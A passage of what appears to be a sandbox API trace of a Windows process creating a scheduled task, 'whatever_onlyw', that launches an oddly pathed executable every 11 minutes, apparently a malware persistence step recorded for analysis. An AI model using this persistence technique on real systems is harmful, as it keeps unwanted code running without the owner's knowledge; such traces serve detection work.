[0127.094] lstrlenW (lpString="|f|") returned 3 [0127.094] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0127.094] SetLastError (dwErrCode=0x490) [0127.094] lstrlenW (lpString="du") returned 2 [0127.094] lstrlenW (lpString="du") returned 2 [0127.094] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.094] lstrlenW (lpString="f") returned 1 [0127.094] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.094] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|du|") returned 4 [0127.094] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.095] lstrlenW (lpString="|du|") returned 4 [0127.095] lstrlenW (lpString="|f|") returned 3 [0127.095] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0127.095] SetLastError (dwErrCode=0x490) [0127.095] lstrlenW (lpString="ri") returned 2 [0127.095] lstrlenW (lpString="ri") returned 2 [0127.095] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.095] lstrlenW (lpString="f") returned 1 [0127.095] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.095] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|ri|") returned 4 [0127.095] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.095] lstrlenW (lpString="|ri|") returned 4 [0127.095] lstrlenW (lpString="|f|") returned 3 [0127.095] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0127.095] SetLastError (dwErrCode=0x490) [0127.095] lstrlenW (lpString="z") returned 1 [0127.095] lstrlenW (lpString="z") returned 1 [0127.095] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.095] lstrlenW (lpString="f") returned 1 [0127.095] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.095] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|z|") returned 3 [0127.095] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.095] lstrlenW (lpString="|z|") returned 3 [0127.095] lstrlenW (lpString="|f|") returned 3 [0127.095] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0127.095] SetLastError (dwErrCode=0x490) [0127.095] lstrlenW (lpString="f") returned 1 [0127.095] lstrlenW (lpString="f") returned 1 [0127.095] _memicmp (_Buf1=0x16c1a0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.096] lstrlenW (lpString="f") returned 1 [0127.096] _memicmp (_Buf1=0x16c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.096] _vsnwprintf (in: _Buffer=0x16c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.096] _vsnwprintf (in: _Buffer=0x16c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c8c8 | out: _Buffer="|f|") returned 3 [0127.096] lstrlenW (lpString="|f|") returned 3 [0127.096] lstrlenW (lpString="|f|") returned 3 [0127.096] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0127.096] SetLastError (dwErrCode=0x0) [0127.096] SetLastError (dwErrCode=0x0) [0127.096] GetProcessHeap () returned 0x150000 [0127.096] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cd20 [0127.096] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.096] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0127.096] lstrlenW (lpString="MINUTE") returned 6 [0127.096] GetProcessHeap () returned 0x150000 [0127.096] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d580 [0127.096] GetThreadLocale () returned 0x409 [0127.097] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0127.097] SetLastError (dwErrCode=0x0) [0127.097] GetProcessHeap () returned 0x150000 [0127.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x1fc) returned 0x16c2c0 [0127.097] GetProcessHeap () returned 0x150000 [0127.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16ccf0 [0127.097] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.097] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0127.097] lstrlenW (lpString="First") returned 5 [0127.097] GetProcessHeap () returned 0x150000 [0127.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xc) returned 0x16d5a0 [0127.097] GetProcessHeap () returned 0x150000 [0127.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16ccc0 [0127.097] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.097] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0127.097] lstrlenW (lpString="Second") returned 6 [0127.097] GetProcessHeap () returned 0x150000 [0127.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d5c0 [0127.097] GetProcessHeap () returned 0x150000 [0127.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc90 [0127.097] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.097] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0127.097] lstrlenW (lpString="Third") returned 5 [0127.097] GetProcessHeap () returned 0x150000 [0127.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xc) returned 0x16d5e0 [0127.097] GetProcessHeap () returned 0x150000 [0127.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc60 [0127.098] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.098] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0127.098] lstrlenW (lpString="Fourth") returned 6 [0127.098] GetProcessHeap () returned 0x150000 [0127.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d600 [0127.098] GetProcessHeap () returned 0x150000 [0127.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc30 [0127.098] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.098] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0127.098] lstrlenW (lpString="Last") returned 4 [0127.098] GetProcessHeap () returned 0x150000 [0127.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xa) returned 0x16d620 [0127.098] lstrlenW (lpString="11") returned 2 [0127.098] _wtol (_String="11") returned 11 [0127.098] GetProcessHeap () returned 0x150000 [0127.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc00 [0127.098] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.098] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0127.098] lstrlenW (lpString="First") returned 5 [0127.098] GetProcessHeap () returned 0x150000 [0127.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xc) returned 0x16d640 [0127.098] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.098] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0127.098] lstrlenW (lpString="Second") returned 6 [0127.098] GetProcessHeap () returned 0x150000 [0127.098] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d660 [0127.099] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.099] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0127.099] lstrlenW (lpString="Third") returned 5 [0127.099] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.099] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0127.099] lstrlenW (lpString="Fourth") returned 6 [0127.099] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.099] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0127.099] lstrlenW (lpString="Last") returned 4 [0127.099] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c740, cchData=128 | out: lpLCData="0") returned 2 [0127.099] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.099] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0127.099] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0127.099] GetProcessHeap () returned 0x150000 [0127.099] GetProcessHeap () returned 0x150000 [0127.099] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5a0) returned 1 [0127.099] GetProcessHeap () returned 0x150000 [0127.099] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d5a0) returned 0xc [0127.099] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5a0 | out: hHeap=0x150000) returned 1 [0127.099] GetProcessHeap () returned 0x150000 [0127.099] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x16) returned 0x16d5a0 [0127.100] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x13c760, cchData=128 | out: lpLCData="0") returned 2 [0127.100] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0127.100] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0127.100] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0127.100] GetProcessHeap () returned 0x150000 [0127.100] GetProcessHeap () returned 0x150000 [0127.100] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5c0) returned 1 [0127.100] GetProcessHeap () returned 0x150000 [0127.100] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d5c0) returned 0xe [0127.100] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5c0 | out: hHeap=0x150000) returned 1 [0127.100] GetProcessHeap () returned 0x150000 [0127.100] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x16) returned 0x16d5c0 [0127.100] GetLocalTime (in: lpSystemTime=0x13c990 | out: lpSystemTime=0x13c990*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x33, wMilliseconds=0x2bb)) [0127.100] lstrlenW (lpString="") returned 0 [0127.142] GetLocalTime (in: lpSystemTime=0x13d248 | out: lpSystemTime=0x13d248*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x33, wMilliseconds=0x2ea)) [0127.142] lstrlenW (lpString="") returned 0 [0127.142] lstrlenW (lpString="") returned 0 [0127.142] lstrlenW (lpString="") returned 0 [0127.142] lstrlenW (lpString="") returned 0 [0127.142] lstrlenW (lpString="11") returned 2 [0127.142] _wtol (_String="11") returned 11 [0127.142] lstrlenW (lpString="") returned 0 [0127.142] lstrlenW (lpString="") returned 0 [0127.142] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0127.337] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0128.177] CoCreateInstance (in: rclsid=0xffc81ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffc81ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x13d010 | out: ppv=0x13d010*=0x317a50) returned 0x0 [0128.186] TaskScheduler:ITaskService:Connect (This=0x317a50, serverName=0x13d0f0*(varType=0x8, wReserved1=0x13, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x13d0b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x13d0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13d090*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0128.490] TaskScheduler:IUnknown:AddRef (This=0x317a50) returned 0x2 [0128.490] TaskScheduler:ITaskService:GetFolder (in: This=0x317a50, Path=0x0, ppFolder=0x13d1a8 | out: ppFolder=0x13d1a8*=0x317c80) returned 0x0 [0128.701] TaskScheduler:ITaskService:NewTask (in: This=0x317a50, flags=0x0, ppDefinition=0x13d1a0 | out: ppDefinition=0x13d1a0*=0x317cd0) returned 0x0 [0128.702] ITaskDefinition:get_Actions (in: This=0x317cd0, ppActions=0x13d120 | out: ppActions=0x13d120*=0x317d90) returned 0x0 [0128.702] IActionCollection:Create (in: This=0x317d90, Type=0, ppAction=0x13d140 | out: ppAction=0x13d140*=0x316110) returned 0x0 [0128.702] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.702] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\whatever_only.exe'") returned 47 [0128.702] lstrlenW (lpString=" ") returned 1 [0128.702] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0128.702] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0128.703] StrChrW (lpStart=" ", wMatch=0x5f) returned 0x0 [0128.704] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0128.704] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0128.704] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0128.704] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0128.704] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0128.704] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.704] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0128.704] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0128.704] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0128.704] IUnknown:Release (This=0x316110) returned 0x1 [0128.704] IUnknown:Release (This=0x317d90) returned 0x1 [0128.704] ITaskDefinition:get_Triggers (in: This=0x317cd0, ppTriggers=0x13cca0 | out: ppTriggers=0x13cca0*=0x317ed0) returned 0x0 [0128.704] ITriggerCollection:Create (in: This=0x317ed0, Type=1, ppTrigger=0x13cc98 | out: ppTrigger=0x13cc98*=0x316180) returned 0x0 [0128.704] lstrlenW (lpString="11") returned 2 [0128.705] _vsnwprintf (in: _Buffer=0x13cc20, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x13cc18 | out: _Buffer="PT11M") returned 5 [0128.705] ITrigger:get_Repetition (in: This=0x316180, ppRepeat=0x13cc90 | out: ppRepeat=0x13cc90*=0x316210) returned 0x0 [0128.705] IRepetitionPattern:put_Interval (This=0x316210, Interval="PT11M") returned 0x0 [0128.705] IUnknown:Release (This=0x316210) returned 0x1 [0128.705] _vsnwprintf (in: _Buffer=0x13cbe0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x13cbb8 | out: _Buffer="2022-08-06T02:18:00") returned 19 [0128.705] ITrigger:put_StartBoundary (This=0x316180, StartBoundary="2022-08-06T02:18:00") returned 0x0 [0128.705] lstrlenW (lpString="") returned 0 [0128.705] lstrlenW (lpString="") returned 0 [0128.705] lstrlenW (lpString="") returned 0 [0128.705] lstrlenW (lpString="") returned 0 [0128.705] IUnknown:Release (This=0x316180) returned 0x1 [0128.705] IUnknown:Release (This=0x317ed0) returned 0x1 [0128.705] ITaskDefinition:get_Settings (in: This=0x317cd0, ppSettings=0x13d140 | out: ppSettings=0x13d140*=0x315f50) returned 0x0 [0128.706] lstrlenW (lpString="") returned 0 [0128.706] IUnknown:Release (This=0x315f50) returned 0x1 [0128.706] GetLocalTime (in: lpSystemTime=0x13cff8 | out: lpSystemTime=0x13cff8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x34, wMilliseconds=0x29a)) [0128.706] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0128.706] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0128.706] GetUserNameW (in: lpBuffer=0x13d020, pcbBuffer=0x13d008 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x13d008) returned 1 [0128.745] ITaskDefinition:get_RegistrationInfo (in: This=0x317cd0, ppRegistrationInfo=0x13cff0 | out: ppRegistrationInfo=0x13cff0*=0x317e10) returned 0x0 [0128.746] IRegistrationInfo:put_Author (This=0x317e10, Author="") returned 0x0 [0128.746] _vsnwprintf (in: _Buffer=0x13d020, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x13cfb8 | out: _Buffer="2022-08-06T02:18:52") returned 19 [0128.746] IRegistrationInfo:put_Date (This=0x317e10, Date="") returned 0x0 [0128.746] IUnknown:Release (This=0x317e10) returned 0x1 [0128.746] malloc (_Size=0x18) returned 0x317c10 [0128.746] free (_Block=0x317c10) [0128.746] lstrlenW (lpString="") returned 0 [0128.746] malloc (_Size=0x18) returned 0x317c10 [0128.747] ITaskFolder:RegisterTaskDefinition (in: This=0x317c80, Path="whatever_onlyw", pDefinition=0x317cd0, flags=6, UserId=0x13d290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x13d2d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13f1a0, varVal2=0xfe), LogonType=3, sddl=0x13d2b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x13d1b0 | out: ppTask=0x13d1b0*=0x3163e0) returned 0x0 [0128.923] free (_Block=0x317c10) [0128.923] _memicmp (_Buf1=0x16ba90, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.923] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x16d280, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0128.923] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0128.923] GetProcessHeap () returned 0x150000 [0128.923] GetProcessHeap () returned 0x150000 [0128.923] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5e0) returned 1 [0128.923] GetProcessHeap () returned 0x150000 [0128.923] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d5e0) returned 0xc [0128.923] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5e0 | out: hHeap=0x150000) returned 1 [0128.923] GetProcessHeap () returned 0x150000 [0128.923] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x82) returned 0x189b00 [0128.923] _vsnwprintf (in: _Buffer=0x13d8f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x13d158 | out: _Buffer="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n") returned 76 [0128.924] _fileno (_File=0x7fefed02ab0) returned -2 [0128.924] _errno () returned 0x314bb0 [0128.924] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0128.924] SetLastError (dwErrCode=0x6) [0128.924] lstrlenW (lpString="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n") returned 76 [0128.924] GetConsoleOutputCP () returned 0x0 [0128.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0128.924] GetConsoleOutputCP () returned 0x0 [0128.924] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0xffcc1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 76 [0128.924] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 76 [0128.924] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0128.925] IUnknown:Release (This=0x3163e0) returned 0x0 [0128.925] TaskScheduler:IUnknown:Release (This=0x317cd0) returned 0x0 [0128.925] TaskScheduler:IUnknown:Release (This=0x317c80) returned 0x0 [0128.925] TaskScheduler:IUnknown:Release (This=0x317a50) returned 0x1 [0128.925] lstrlenW (lpString="") returned 0 [0128.925] lstrlenW (lpString="11") returned 2 [0128.925] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="11", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0128.925] GetProcessHeap () returned 0x150000 [0128.925] GetProcessHeap () returned 0x150000 [0128.925] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c2c0) returned 1 [0128.925] GetProcessHeap () returned 0x150000 [0128.925] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c2c0) returned 0x1fc [0128.925] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c2c0 | out: hHeap=0x150000) returned 1 [0128.925] GetProcessHeap () returned 0x150000 [0128.925] GetProcessHeap () returned 0x150000 [0128.926] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b990) returned 1 [0128.926] GetProcessHeap () returned 0x150000 [0128.926] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b990) returned 0x6 [0128.926] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b990 | out: hHeap=0x150000) returned 1 [0128.926] GetProcessHeap () returned 0x150000 [0128.926] GetProcessHeap () returned 0x150000 [0128.926] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d540) returned 1 [0128.926] GetProcessHeap () returned 0x150000 [0128.926] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d540) returned 0x16 [0128.926] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d540 | out: hHeap=0x150000) returned 1 [0128.926] GetProcessHeap () returned 0x150000 [0128.926] GetProcessHeap () returned 0x150000 [0128.926] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4c0) returned 1 [0128.926] GetProcessHeap () returned 0x150000 [0128.926] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d4c0) returned 0x18 [0128.926] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4c0 | out: hHeap=0x150000) returned 1 [0128.962] GetProcessHeap () returned 0x150000 [0128.962] GetProcessHeap () returned 0x150000 [0128.962] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd80) returned 1 [0128.962] GetProcessHeap () returned 0x150000 [0128.962] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cd80) returned 0x20 [0128.963] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd80 | out: hHeap=0x150000) returned 1 [0128.963] GetProcessHeap () returned 0x150000 [0128.963] GetProcessHeap () returned 0x150000 [0128.963] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16bff0) returned 1 [0128.963] GetProcessHeap () returned 0x150000 [0128.963] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16bff0) returned 0xa0 [0128.963] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16bff0 | out: hHeap=0x150000) returned 1 [0128.964] GetProcessHeap () returned 0x150000 [0128.964] GetProcessHeap () returned 0x150000 [0128.964] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba70) returned 1 [0128.964] GetProcessHeap () returned 0x150000 [0128.964] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ba70) returned 0x18 [0128.964] HeapFree (in: 